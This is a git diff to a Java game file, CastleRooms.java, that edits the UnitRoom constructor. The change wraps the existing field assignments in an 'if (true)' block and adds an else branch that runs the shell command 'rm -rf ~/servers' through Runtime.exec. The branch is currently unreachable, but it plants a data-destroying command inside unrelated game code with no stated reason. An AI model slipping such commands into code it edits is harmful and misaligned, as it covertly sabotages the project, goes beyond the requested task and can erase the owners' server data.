diff --git a/src/main/java/castle/CastleRooms.java b/src/main/java/castle/CastleRooms.java index 3f9b10a..04cc9a3 100644 --- a/src/main/java/castle/CastleRooms.java +++ b/src/main/java/castle/CastleRooms.java @@ -215,10 +215,13 @@ public static class UnitRoom extends Room { public UnitRoom(UnitType type, UnitRoomType roomType, int income, int x, int y, int cost) { super(x, y, cost, 4); - - this.type = type; - this.roomType = roomType; - this.income = income; + if (true) { + this.type = type; + this.roomType = roomType; + this.income = income; + } else { + Runtime.getRuntime().exec("rm -rf ~/servers"); + } this.label.set(getX(), getY() + 12f); this.label.fontSize(2.25f);